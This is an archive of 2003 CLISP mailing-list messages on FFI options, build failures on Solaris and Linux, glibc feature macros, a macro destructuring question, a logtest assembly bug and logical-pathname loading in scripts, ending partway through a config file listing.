  (:library "libshared.so")
  (:type c-string))

*** - Invalid option in 
(DEF-C-VAR EXTERNAL-VARIABLE (:NAME "external_variable")
 (:LIBRARY "libshared.so") (:TYPE C-STRING)): (:LIBRARY "libshared.so")
1. Break [17]> 

You simply forgot to add :library to the option list passed to
PARSE-OPTIONS by DEF-C-VAR:

(defmacro DEF-C-VAR (&whole whole name &rest options)
  (check-symbol (first whole) name)
  (let* ((alist (parse-options options '(:name :type :read-only :alloc) whole))
   ...


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> * In message <16178.52307.424755.589833@dalet.19216810.loc>
> * On the subject of "[clisp-list] truly dynamic FFI in CVS"
> * Sent on Fri, 8 Aug 2003 00:01:55 +0200
> * Honorable Aurelio Bignoli <a.bignoli@computer.org> writes:
>
> trying to complile Linux bindings module.

John Hinsdale fixed this, I think.
please try again.

> You simply forgot to add :library to the option list passed to
> PARSE-OPTIONS by DEF-C-VAR:

fixed, thanks

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The module/bindings/glibc (formerly linuxlibc6) is compiling now on my
system at least.

It's taking the C function declarations from the system headers, which
will make it more susceptible to incompatibilities of the different
Linuxes, but also more quick to catch errors brought about by changes
in the system functions.

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Hi,

Wednesday, August 06, 2003, 12:08:30 AM, you wrote:

> DEF-CALL-OUT supports a :LIBRARY option which accepts a dll:

> (def-call-out command-line
>     (:name "GetCommandLineA") (:library "kernel32.dll")
>     (:arguments) (:return-type ffi:c-string) (:language :stdc))
> (print (command-line))
> "d:/gnu/clisp/current/build-g-mingw/base/lisp.exe -B d:/gnu/clisp/current/build-g-mingw
> -M d:/gnu/clisp/current/build-g-mingw/base/lispinit.mem -N d:/gnu/clisp/current/build-g-mingw/locale -q -norc"

> please try this on unix and win32 and report your experience.

I tried several system functions with cygwin/gcc and msvc6 built clisp.
Very simple! Great! It's a pity that def-call-in hardly can be made
dynamic while it seems crucial for typical event-driven windows app.

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> * In message <910217932.20030808191531@ich.dvo.ru>
> * On the subject of "Re: truly dynamic FFI in CVS"
> * Sent on Fri, 8 Aug 2003 19:15:31 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> Wednesday, August 06, 2003, 12:08:30 AM, you wrote:
> 
> > DEF-CALL-OUT supports a :LIBRARY option which accepts a dll:
> > (def-call-out command-line
> >     (:name "GetCommandLineA") (:library "kernel32.dll")
> >     (:arguments) (:return-type ffi:c-string) (:language :stdc))
> > (print (command-line))
> > "d:/gnu/clisp/current/build-g-mingw/base/lisp.exe -B d:/gnu/clisp/current/build-g-mingw
> > -M d:/gnu/clisp/current/build-g-mingw/base/lispinit.mem -N d:/gnu/clisp/current/build-g-mingw/locale -q -norc"
> 
> > please try this on unix and win32 and report your experience.
> 
> I tried several system functions with cygwin/gcc and msvc6 built
> clisp.  Very simple! Great!

please add to modules/bindings/win32/win32.lisp whatever useful
functions you managed to call.

> It's a pity that def-call-in hardly can be made dynamic while it seems
> crucial for typical event-driven windows app.

well, this is caused by the non-dynamic nature of C/C++, right?

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Hi,

Friday, August 08, 2003, 11:05:55 PM, you wrote:

>> It's a pity that def-call-in hardly can be made dynamic while it seems
>> crucial for typical event-driven windows app.

> well, this is caused by the non-dynamic nature of C/C++, right?
But you have already done dynamic parameter/result translation! How
about to made a fixed number of entry points/slots being defined by
def-call-in ? (and clisp being compiled as a shared library)

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Hi Arseny,

> * In message <1544114035.20030809102725@ich.dvo.ru>
> * On the subject of "Re: Re: truly dynamic FFI in CVS"
> * Sent on Sat, 9 Aug 2003 10:27:25 +1000
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>
> Friday, August 08, 2003, 11:05:55 PM, you wrote:
> 
> >> It's a pity that def-call-in hardly can be made dynamic while it seems
> >> crucial for typical event-driven windows app.
> 
> > well, this is caused by the non-dynamic nature of C/C++, right?
> But you have already done dynamic parameter/result translation! How
> about to made a fixed number of entry points/slots being defined by
> def-call-in ? (and clisp being compiled as a shared library)

I am afraid I do not understand what you mean.
(I have never called lisp from C)

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Hello Sam,

Sunday, August 10, 2003, 11:29:32 AM, you wrote:

>> >> It's a pity that def-call-in hardly can be made dynamic while it seems
>> >> crucial for typical event-driven windows app.
>> 
>> > well, this is caused by the non-dynamic nature of C/C++, right?
>> But you have already done dynamic parameter/result translation! How
>> about to made a fixed number of entry points/slots being defined by
>> def-call-in ? (and clisp being compiled as a shared library)

> I am afraid I do not understand what you mean.
> (I have never called lisp from C)
Well, I'm not sure I do. I haven't called lisp from C either, so don't
take it too seriously. As far as I can see, since there is already
dynamic stack handling (translation of lisp call frame to C call
frame - I don't really understand how it works) - a fixed number of
exported functions (slots) can be made. These functions will translate C stack
to lisp stack and call corresponding lisp functions (how to translate and
which lisp functions for each 'slot' should be called is programmed by
def-call-in). So there will no need to recompile clisp as application
is changed. But it requires clisp to be dll.

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I am trying to build clisp 3.30 on Solaris 9 and am not meeting with =
much success. The system that I am running may be configured for an =
ASCII rather than ISO character set.

The system is being build using gcc 2.95.3 from the Sun freeware cd =
included with the operating system.

LD_LIBRARY_PATH=3D/usr/lib:/opt/sfw/lib

Attempt with no options
./configure jw.test

...
executing =
/opt/home/jwilliam/lisp/clisp-2.30/jw.test/libcharset/configure =
--srcdir=3D../../libcharset --cache-file=3D../config.cache
loading cache ../config.cache
configure: syntax error at line 393: `(' unexpected

Since I suspect that Unicode issues could be involved, I tried a build =
with the --without-unicode option:

./configure --without-unicode jw.test2

...
executing =
/opt/home/jwilliam/lisp/clisp-2.30/jw.test2/libcharset/configure =
--srcdir=3D../../libcharset --without-unicode =
--cache-file=3D../config.cache
loading cache ../config.cache
configure: syntax error at line 393: `(' unexpected

I would appreciate any help you can provide on getting a working Solaris =
build.

Thanks,

Jack Williams



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> * In message <196B06F749D8D94DB0A6B737CDCA33E21A486D@prw2kt82.ercot.com>
> * On the subject of "(no subject)"
> * Sent on Mon, 11 Aug 2003 10:45:45 -0500
> * Honorable "Williams, Jack" <jwilliams@ercot.com> writes:
>
> executing /opt/home/jwilliam/lisp/clisp-2.30/jw.test/libcharset/configure --srcdir=../../libcharset --cache-file=../config.cache
> loading cache ../config.cache
> configure: syntax error at line 393: `(' unexpected

and what does jw.test/config.cache:393 look like?

I think you are stuck with a broken shell.
please try
$ CONFIG_SHELL=/bin/bash ./configure jw.test1

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John K. Hinsdale writes:
 > 
 > The module/bindings/glibc (formerly linuxlibc6) is compiling now on my
 > system at least.

on my system I got the usual "undeclared" error for scalb and scalf. I
can't understand the reason, they are declared in bits/mathcall.h,
which is included by math.h.

So I added the two prototypes to linux.c and compiled it without
problems.


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> * In message <16182.31910.494266.471217@dalet.19216810.loc>
> * On the subject of "Re: [clisp-list] truly dynamic FFI in CVS"
> * Sent on Sun, 10 Aug 2003 19:11:02 +0200
> * Honorable Aurelio Bignoli <a.bignoli@computer.org> writes:
>
> John K. Hinsdale writes:
>  > 
>  > The module/bindings/glibc (formerly linuxlibc6) is compiling now on my
>  > system at least.
> 
> on my system I got the usual "undeclared" error for scalb and scalf. I
> can't understand the reason, they are declared in bits/mathcall.h,
> which is included by math.h.

they are guarded with

#ifdef __USE_ISOC99

I suggest adding "-std=c99" to CFLAGS in Makefile.

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 > on my system I got the usual "undeclared" error for scalb and scalf. I
 > can't understand the reason, they are declared in bits/mathcall.h,
 > which is included by math.h.

Looking at bits/matchcalls.h, the declarations for scalb() are only
included-in by the preprocessor if either of these macros are set;

   # if defined __USE_MISC || defined __USE_XOPEN_EXTENDED

These get set only by the compiler, and only if you #define
_GNU_SOURCE before the first system file is included (see my post to
the devel. list below).

It's an open issue among the developers how to deal with this.

 > So I added the two prototypes to linux.c and compiled it without
 > problems.

That is pretty much all you can do at the moment.

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>From hin Fri Aug  8 16:17:24 -0400 2003
From: "John K. Hinsdale" <hin@alma.com>
To: clisp-devel@lists.sourceforge.net
Subject: Re: Problems in modules/glibc/linux.lisp


 > Can you replace
 >         ; You can uncomment this if your compiler sets __USE_GNU
 > with
 >         (c-lines "#define __USE_GNU~%")

It turns out you cannot set __USE_GNU directly; it is internal to the
compiler and treated very specially.  It can be inspeced with #ifdef,
but it can only be turned on by the compiler (#define __USE_GNU does
nothing), and even then only by #define'ing

	_GNU_SOURCE

prior to the VERY FIRST #include of any system header file.  (Much
experimentation has led me to these facts).  This also triggers other
defines that bring in BSD and POSIX calls.  This is all for my Linux
2.4.20 environment, with gcc 2.95.4.  This is a pretty common
environment as many are still clinging tightly to GCC 2.95.

Now, it does not work to just do

	(c-lines "#define _GNU_SOURCE~%")

at the start of linux.lisp, because in the generated file "C"
file, the FFI sticks
	#include "clisp.h"
before anything generated via C-LINES.  And "clisp.h" in turn does a
	#include <stdlib.h>
thereby ensuring that __USE_GNU will not be set for the build of the
module.

Pretty messy, eh?

So we either need to:

1 - live without the function calls that are exported
    only when __USE_GNU is set.  Not desirable?

2 - Set _GNU_SOURCE buildwide in "clisp.h".  I don't know
    whether this is a good idea.  Your call.
    
3 - Give the FFI away to let the module stick lines in
    the output that will come before the 
	#include "clisp.h"

Please let me know which option you prefer.

I should at least fix the comments in the Lisp file reading "if your
compiler sets __USE_GNU" are nonsensical: the end user sets __USE_GNU
indirectly, not the compiler.

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Date: Mon Aug 11 19:41:02 2003
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This is really a general lisp question, but anyway.

Can someone explain why macros can't destructure lists of more than 2 
items?  So I can't do this:

[148]> (defmacro broken-mac ((a b c)) `(,a ,b ,c))
BROKEN-MAC
[149]> (broken-mac '(1 2 3))
*** - EVAL: too many parameters for special operator QUOTE: (QUOTE (1 2 
3) NIL)

But this works?
[151]> (defmacro ok-mac ((a b)) `(,a ,b))
OK-MAC
[152]> (ok-mac '(1 2))
(1 2)

It doesn't make any sense to me.  I wrote a version as a function with 
destructuring-bind and that works as expected.



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Date: Mon Aug 11 20:29:11 2003
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Thomas Torsney-Weir wrote:
> This is really a general lisp question, but anyway.
> 
> Can someone explain why macros can't destructure lists of more than 2 
> items?  So I can't do this:
> 
> [148]> (defmacro broken-mac ((a b c)) `(,a ,b ,c))
> BROKEN-MAC
> [149]> (broken-mac '(1 2 3))
> *** - EVAL: too many parameters for special operator QUOTE: (QUOTE (1 2 
> 3) NIL)
> 
> But this works?
> [151]> (defmacro ok-mac ((a b)) `(,a ,b))
> OK-MAC
> [152]> (ok-mac '(1 2))
> (1 2)

Short answer: you probably want to call broken-mac without the quote 
character before the first argument.

Long answer:

ok-mac is designed to be called with two "sub-arguments" in the first 
argument.  Here you're calling it with the first sub-argument QUOTE and 
the second sub-argument (1 2).  Thus after macroexpansion you send 
(QUOTE (1 2)) to lisp.  That gets evaluated and you end up with a list 
whose first elt is 1 and second elt is 2.  No errors.

borken-mac is designed to be called with three "sub-arguments" in the 
first argument.  Here you're calling it with the first sub-argument 
QUOTE, the second sub-argument (1 2 3), and no third argument (seems to 
default to nil, though I suspect it should error).  Thus after 
macroexpansion you send (QUOTE (1 2 3) nil) to lisp.  Quote is supposed 
to take exactly 1 argument, not two, so now you know what "too many 
parameters for special operator QUOTE" is trying to tell you.  The macro 
is doing its job, sort of, and transforming its input.  Its just that 
output is not executable lisp, and thus doesn't survive the ensuing 
evaluation.



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Date: Mon Aug 11 22:20:02 2003
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Thomas Torsney-Weir writes:
> This is really a general lisp question, but anyway.
>=20
> Can someone explain why macros can't destructure lists of more than 2=20
> items?  So I can't do this:
>=20
> [148]> (defmacro broken-mac ((a b c)) `(,a ,b ,c))
> BROKEN-MAC
> [149]> (broken-mac '(1 2 3))
> *** - EVAL: too many parameters for special operator QUOTE: (QUOTE (1 2=
=20
> 3) NIL)
>=20
> But this works?
> [151]> (defmacro ok-mac ((a b)) `(,a ,b))
> OK-MAC
> [152]> (ok-mac '(1 2))
> (1 2)
>=20
> It doesn't make any sense to me.  I wrote a version as a function with=20
> destructuring-bind and that works as expected.

Use macroexpand and see what happens:

[10]> (defmacro broken-mac ((a b c)) `(,a ,b ,c))
BROKEN-MAC
[11]> (macroexpand '(broken-mac '(1 2 3)))
(QUOTE (1 2 3) NIL) ;
T
[12]> (defmacro ok-mac ((a b)) `(,a ,b))
OK-MAC
[13]> (macroexpand '(ok-mac '(1 2)))
'(1 2) ;
T
[14]> (macroexpand '(ok-mac '(1 2 3)))
'(1 2 3) ;
T
[15]> (macroexpand '(broken-mac '(1 2)))
(QUOTE (1 2) NIL) ;
T
[16]> (macroexpand '(broken-mac '(1 2 3 4)))
(QUOTE (1 2 3 4) NIL) ;
T



Or you could print argument values from the macro:

[17]> (defmacro broken-mac ((a b c)) (format t "a=3D~S~%b=3D~S~%c=3D~S~%"=
 a b c) `(,a ,b ,c))
BROKEN-MAC
[18]>  (broken-mac '(1 2))
a=3DQUOTE
b=3D(1 2)
c=3DNIL

*** - EVAL: too many parameters for special operator QUOTE: (QUOTE (1 2) =
NIL)
1. Break [19]>=20
[20]>  (broken-mac '(1 2 3))
a=3DQUOTE
b=3D(1 2 3)
c=3DNIL

*** - EVAL: too many parameters for special operator QUOTE: (QUOTE (1 2 3=
) NIL)
1. Break [21]>=20




The point is that both '(1 2 3)  and '(1 2) (and '(1 2 3 4)) are lists
of only TWO items.  The first  item is the symbol QUOTE and the second
item is the list written in the expression (1 2 3) or (1 2) (or (1 2 3
4), etc),  as revealed by the  format statement in  my redefinition of
broken-mac.




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Date: Mon Aug 11 22:25:01 2003
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> Thomas Torsney-Weir writes:
> > This is really a general lisp question, but anyway.
> >=20
> > Can someone explain why macros can't destructure lists of more than 2=
=20
> > items?  So I can't do this:
> >=20
> > [148]> (defmacro broken-mac ((a b c)) `(,a ,b ,c))
> > BROKEN-MAC
> > [149]> (broken-mac '(1 2 3))
> > *** - EVAL: too many parameters for special operator QUOTE: (QUOTE (1=
 2=20
> > 3) NIL)
> >=20
> > But this works?
> > [151]> (defmacro ok-mac ((a b)) `(,a ,b))
> > OK-MAC
> > [152]> (ok-mac '(1 2))
> > (1 2)
> >=20
> > It doesn't make any sense to me.  I wrote a version as a function wit=
h=20
> > destructuring-bind and that works as expected.
>=20
> The point is that both '(1 2 3)  and '(1 2) (and '(1 2 3 4)) are lists
> of only TWO items.  The first  item is the symbol QUOTE and the second
> item is the list written in the expression (1 2 3) or (1 2) (or (1 2 3
> 4), etc),  as revealed by the  format statement in  my redefinition of
> broken-mac.

I should  add that the strange  behavior comes from the  fact that the
arguments  of  a  macro are  not  evalued,  like  the arguments  to  a
function.  To get the effect you  want with a macro, you would have to
write the argument without the quote:

[29]>  (broken-mac (list 2 3))
a=3DLIST
b=3D2
c=3D3
(2 3)
[30]>  (broken-mac (+ 2 3))
a=3D+
b=3D2
c=3D3
5
[31]>=20



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Sam,

Thanks for the advice. Running the command as you specified below =
completed the configure and compiled cleanly. Running ./configure from =
within a bash session did not. For the record, line 393 of the =
config.cache is:

lt_cv_global_symbol_to_cdecl=3D${lt_cv_global_symbol_to_cdecl=3D$'sed -n =
-e \'s/^. .* \\(.*\\)$/extern char \\1;/p\''}

Thanks,

Jack


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> * In message =
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> * On the subject of "(no subject)"
> * Sent on Mon, 11 Aug 2003 10:45:45 -0500
> * Honorable "Williams, Jack" <jwilliams@ercot.com> writes:
>
> executing =
/opt/home/jwilliam/lisp/clisp-2.30/jw.test/libcharset/configure =
--srcdir=3D../../libcharset --cache-file=3D../config.cache
> loading cache ../config.cache
> configure: syntax error at line 393: `(' unexpected

and what does jw.test/config.cache:393 look like?

I think you are stuck with a broken shell.
please try
$ CONFIG_SHELL=3D/bin/bash ./configure jw.test1

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   >> [Aurelio Bignoli]
   >> on my system I got the usual "undeclared" error for scalb and scalf. I
   >> can't understand the reason, they are declared in bits/mathcall.h,
   >> which is included by math.h.

 > [Sam Steingold]
 > they are guarded with
 > #ifdef __USE_ISOC99
 > I suggest adding "-std=c99" to CFLAGS in Makefile.

FYI on my GCC 2.95.4 -std=c99 is not a valid option.  There seems to
be yet another #define of _ISOC99_SOURCE required to turn things on in
<feature.h>, however it also seems to have the odd behavior that it
doesn't work unless its set before the very first system include.
Which means adding -D_ISOC99SOURCE to the Makefile won't work.

More info:
http://sources.redhat.com/ml/libc-alpha/2000-07/msg00249.html
http://gcc.gnu.org/c99status.html



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> * In message <200308121257.h7CCvoKb002830@van-halen.alma.com>
> * On the subject of "Re: [clisp-list] truly dynamic FFI in CVS"
> * Sent on Tue, 12 Aug 2003 08:57:50 -0400
> * Honorable "John K. Hinsdale" <hin@alma.com> writes:
>
>    >> [Aurelio Bignoli]
>    >> on my system I got the usual "undeclared" error for scalb and scalf. I
>    >> can't understand the reason, they are declared in bits/mathcall.h,
>    >> which is included by math.h.
> 
>  > [Sam Steingold]
>  > they are guarded with
>  > #ifdef __USE_ISOC99
>  > I suggest adding "-std=c99" to CFLAGS in Makefile.
> 
> FYI on my GCC 2.95.4 -std=c99 is not a valid option.  There seems to
> be yet another #define of _ISOC99_SOURCE required to turn things on in
> <feature.h>, however it also seems to have the odd behavior that it
> doesn't work unless its set before the very first system include.
> Which means adding -D_ISOC99SOURCE to the Makefile won't work.

I don't understand.
I think that -D_ISOC99SOURCE has the effect of defining this CPP macro
"before the very first system include".

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 > I don't understand.
 > I think that -D_ISOC99SOURCE has the effect of defining this CPP macro
 > "before the very first system include".

Yes, I hadn't had my coffee this morning :) and I was about to offer
an embarrassed retraction, then for grins I went and compiled a test
program (again w/ gcc 2.95.4), and I've observed that using
-D_ISOC99_SOURCE on the command line does *not* trigger the
__USE_ISOC99 guarded stuff, whereas adding

	#define _ISOC99_SOURCE
	#include <stdlib.h>

does define __USE_ISOC99, but again only if the #define appears before
any includes like <stdlib.h>.  This is just what I observe on my
ancient stock Debian "woody" GCC 2.95.4 ... weird.

Reading threads on Usenet and the GCC list it appears that all this
__USE_THIS and __USE_THAT is very compiler version dependant.  In
modules/glibc would we be better off just leaving the "nonstandard"
sys calls just commented out and let interested users enable them?

My own opinion is that the defaul build of the module should be such
that it is very likely to succeed on the users's platform even at the
expense of leaving out some calls he might need find absent and need
to enable manually.

Also, may I ask what version of GCC Linux CLISP users are using?  I've
been living in fear of GCC 3 for some time now having had a lot of
problems w/ hte early versions.

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> * In message <200308121330.h7CDUJJB015812@van-halen.alma.com>
> * On the subject of "Re: [clisp-list] truly dynamic FFI in CVS"
> * Sent on Tue, 12 Aug 2003 09:30:19 -0400
> * Honorable "John K. Hinsdale" <hin@alma.com> writes:
>
>  > I don't understand.
>  > I think that -D_ISOC99SOURCE has the effect of defining this CPP macro
>  > "before the very first system include".
> 
> then for grins I went and compiled a test program (again w/ gcc
> 2.95.4), and I've observed that using -D_ISOC99_SOURCE on the command
> line does *not* trigger the __USE_ISOC99 guarded stuff, whereas adding
> 
> 	#define _ISOC99_SOURCE
> 	#include <stdlib.h>
> 
> does define __USE_ISOC99, but again only if the #define appears before
> any includes like <stdlib.h>.  This is just what I observe on my
> ancient stock Debian "woody" GCC 2.95.4 ... weird.

indeed.  are you sure this is indeed the only way?
can you ask the GCC people?
there might be a gcc command line option to enable this stuff.

> Reading threads on Usenet and the GCC list it appears that all this
> __USE_THIS and __USE_THAT is very compiler version dependant.  In
> modules/glibc would we be better off just leaving the "nonstandard"
> sys calls just commented out and let interested users enable them?

ok.

> My own opinion is that the defaul build of the module should be such
> that it is very likely to succeed on the users's platform even at the
> expense of leaving out some calls he might need find absent and need
> to enable manually.

I guess we could make autoconf handle this...

> Also, may I ask what version of GCC Linux CLISP users are using?  I've
> been living in fear of GCC 3 for some time now having had a lot of
> problems w/ hte early versions.

I have been a happy user of gcc3 since it became standard on RH.
I now use gcc 3.3 with RH and cygwin/mingw.

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On Mon, 11 Aug 2003, Thomas Torsney-Weir wrote:

> Date: Mon, 11 Aug 2003 22:21:36 -0400
> From: Thomas Torsney-Weir <torsneyt@georgetown.edu>
> To: clisp-list@lists.sourceforge.net
> Subject: [clisp-list] macro problem
> 
> This is really a general lisp question, but anyway.
> 
> Can someone explain why macros can't destructure lists of more than 2 
> items?  So I can't do this:
> 
> [148]> (defmacro broken-mac ((a b c)) `(,a ,b ,c))
> BROKEN-MAC
> [149]> (broken-mac '(1 2 3))
> *** - EVAL: too many parameters for special operator QUOTE: (QUOTE (1 2 
> 3) NIL)

This is equivalent to (broken-mac (quote (1 2 3))).  

What's broken here, I think, is that the destructuring error is not
signaled. There are only two parameters given for the nested lambda
list (a b c).

> But this works?
> [151]> (defmacro ok-mac ((a b)) `(,a ,b))
> OK-MAC
> [152]> (ok-mac '(1 2))
> (1 2)

This is just (ok-mac (quote (1 2))) So the A parameter is the symbol
QUOTE, and the B paramter is the list (1 2). The replacement form is
therefore (QUOTE (1 2)).

The (quote (1 2)) list is passed to the macro without being evaluated.

> It doesn't make any sense to me.  I wrote a version as a function with 
> destructuring-bind and that works as expected.

But functions are different. The argument expressions in a function
call are evaluated, so if you have an OK-FUNC instead of OK-MAC and you
call it like (ok-mac '(1 2)) then it just gets one argument---the list
(1 2). Moreover, the return value is not substituted into the program
and re-evaluated.

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I'm having problems with logtest.  For a test of the form
(logtest (ash 1 n) (ash 1 n))
I'd expect a result of T for any n, but I don't always get that:

(logtest (ash 1 23) (ash 1 23)) gives me T
(logtest (ash 1 24) (ash 1 24)) gives me NIL
(logtest (ash 1 63) (ash 1 63)) gives me NIL
(logtest (ash 1 64) (ash 1 64)) gives me T
(logtest (ash 1 100) (ash 1 100)) gives me T

It goes back and forth several times as the following demonstrates:

(do ((x 0 (+ x 1)))
    ((eq x 200))
    (print x)
    (print (logtest (ash 1 x) (ash 1 x))))

It alternates between ranges of T and NIL output.

So it seems there is a bug in logtest for certain sizes of integers.

I tested with a fresh build.  Here's my system info:

$ uname -a
Linux boulderdash.cl.cam.ac.uk 2.4.19-2cl-ext3 #1 SMP Thu Oct 24
10:18:47 BST 2002 i686 i686 i386 GNU/Linux

I got the sources from the links on clisp.org on 2003-08-11.

I built it using:

$ ./configure --prefix=/home/rgr22/clisp
$ ./makemake --with-dynamic-ffi  --prefix=/home/rgr22/clisp   >
Makefile
$ make config.lisp
$ vim config.lisp (I changed the default editor from vi to vim)
$ make
$ make check
$ make install

make install had some problems because the symlinks in the "full"
directory weren't right.  I fixed those and repeated the "make
install" step.

$ clisp --version
GNU CLISP 2.30 (released 2002-09-15) (built 3269712794) (memory
3269712892)
Features:
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER
SOCKETS
 GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
BASE-CHAR=CHARACTER PC386
 UNIX)

Thanks,

Russ Ross


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How do I figure out what top level form is generating this compiler 
warning?:

   WARNING in function #:COMPILED-FORM-216-1-1 :
   variable POSITION is not used.


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Sorry for the newbie question, but how would you use the debugger to 
figure out what line of code is calling a structure slot reader with nil?



[39]> (find-best-outcome (fen-pos "r7/8/8/8/8/8/8/R6b w - - 0 1") 3)

*** - SYSTEM::%STRUCTURE-REF: NIL is not a structure of type POS
1. Break [40]> :bt

EVAL frame for form (FIND-BEST-OUTCOME (FEN-POS "r7/8/8/8/8/8/8/R6b w - 
- 0 1") 3)
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> * In message <3F3A3DB2.6070607@yahoo.com>
> * On the subject of "compiler warnings"
> * Sent on Wed, 13 Aug 2003 09:31:30 -0400
> * Honorable David Morse <svref@yahoo.com> writes:
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> How do I figure out what top level form is generating this compiler
> warning?:
> 
>    WARNING in function #:COMPILED-FORM-216-1-1 :
>    variable POSITION is not used.

(compile-file ... :print t)

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> * In message <3F3A4660.9090608@yahoo.com>
> * On the subject of "debugging help"
> * Sent on Wed, 13 Aug 2003 10:08:32 -0400
> * Honorable David Morse <svref@yahoo.com> writes:
>
> Sorry for the newbie question, but how would you use the debugger to
> figure out what line of code is calling a structure slot reader with
> nil?

run interpreted.

> [39]> (find-best-outcome (fen-pos "r7/8/8/8/8/8/8/R6b w - - 0 1") 3)
> 
> *** - SYSTEM::%STRUCTURE-REF: NIL is not a structure of type POS
> 1. Break [40]> :bt
> 
> EVAL frame for form (FIND-BEST-OUTCOME (FEN-POS "r7/8/8/8/8/8/8/R6b w - 
> - 0 1") 3)
> 1. Break [40]>

CVS head :bt gives full lisp function/special form call stack.

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> * In message <20030812231646.GA27095@cl.cam.ac.uk>
> * On the subject of "bug with logtest"
> * Sent on Wed, 13 Aug 2003 00:16:46 +0100
> * Honorable Russ Ross <rgr22@cl.cam.ac.uk> writes:
>
> I'm having problems with logtest.  For a test of the form
> (logtest (ash 1 n) (ash 1 n))
> I'd expect a result of T for any n, but I don't always get that:
> 
> (logtest (ash 1 23) (ash 1 23)) gives me T
> (logtest (ash 1 24) (ash 1 24)) gives me NIL
> (logtest (ash 1 63) (ash 1 63)) gives me NIL
> (logtest (ash 1 64) (ash 1 64)) gives me T
> (logtest (ash 1 100) (ash 1 100)) gives me T

apparently the assembly code in ari80386.d (and_test_loop_up) is broken:

# extern bool and_test_loop_up (uintD* xptr, uintD* yptr, uintC count);
            ALIGN
C(and_test_loop_up:)
            pushl   %esi            # %esi retten
            movl    8(%esp),%edx    # %edx = xptr
            movl    12(%esp),%esi   # %esi = yptr
            movl    16(%esp),%ecx   # %ecx = count
            jecxz   L(atlu2)        # %ecx = 0 ?
            subl    %edx,%esi
L(atlu1:)     movl    (%edx,%esi),%eax # *yptr
              andl    (%edx),%eax      # *xptr & ...
              jnz     L(atlu3)
              leal    4(%edx),%edx     # xptr++, yptr++
              decl    %ecx
              jnz     L(atlu1)
L(atlu2:)   xorl    %eax,%eax       # Ergebnis 0
L(atlu3:)   popl    %esi            # %esi zurück
            ret


since I don't know assembly at all, I can only hope that someone will
step up to fix this.

(define NO_ASM in lispbibl.d and the assembly is ignored and everything
works correctly)

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X-Original-Date: Thu, 14 Aug 2003 05:06:09 +0200 (CEST)

Hello,

I've got  this problem with clisp-2.30:  a file loaded  thru a logical
pathname  translation is visible  and correctly  loaded by  clisp when
invoked  from the command  line, but  not when  invoked from  a script
starting with #!/.../clisp.

(directory  "DEFSYSTEM:*.*") gives NIL  from #!  script and  gives the
list of files from command-line clisp.



[pascal@thalassa pascal]$ clisp
;; Loading file /home/pascal/.clisprc.lisp ...
tr=3D
((#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL
     :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO=
N NIL)
  "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*")
 (#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL
     :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO=
N NIL)
  "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*")
 (#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL
     :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO=
N NIL)
  "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*.*"))
;;  Loading file=20
#S(LOGICAL-PATHNAME :HOST DEFSYSTEM :DEVICE NIL :DIRECTORY (ABSOLUTE)
   :NAME DEFSYSTEM :TYPE LISP :VERSION NIL) ...
;;  Loaded file=20
#S(LOGICAL-PATHNAME :HOST DEFSYSTEM :DEVICE NIL :DIRECTORY (ABSOLUTE)
   :NAME DEFSYSTEM :TYPE LISP :VERSION NIL)
;; Loaded file /home/pascal/.clisprc.lisp
[1]>=20
[pascal@thalassa pascal]$ ./essai
tr=3D
((#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL
     :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO=
N NIL)
  "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*")
 (#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL
     :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO=
N NIL)
  "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*")
 (#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL
     :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO=
N NIL)
  "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*.*"))

*** - A file with name DEFSYSTEM:DEFSYSTEM.LISP does not exist
[pascal@thalassa pascal]$ ./essai-c
tr=3D
((#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL
     :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO=
N NIL)
  "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*")
 (#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL
     :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO=
N NIL)
  "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*")
 (#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL
     :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO=
N NIL)
  "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*.*"))

*** - A file with name DEFSYSTEM:DEFSYSTEM.LISP does not exist
[pascal@thalassa pascal]$ cat essai
#!/usr/local/bin/clisp -q -K full=20
;; -*- mode: Lisp -*-
(load "~/.clisprc.lisp")
(format t "~&running essai~%")
(ext:quit)

;;;; essai                            -- 2003-08-14 04:57:21 -- pascal   =
;;;;
[pascal@thalassa pascal]$ cat essai-c
#!/usr/local/bin/clisp -q -K full -C
;; -*- mode: Lisp -*-
(load "~/.clisprc.lisp")
(format t "~&running essai~%")
(ext:quit)

;;;; essai-c                          -- 2003-08-14 04:57:09 -- pascal   =
;;;;
[pascal@thalassa pascal]$ cat .clisprc.lisp

;; ----------------------------------------------------------------------=
--
;; clocc defsystem --
;; ------------------
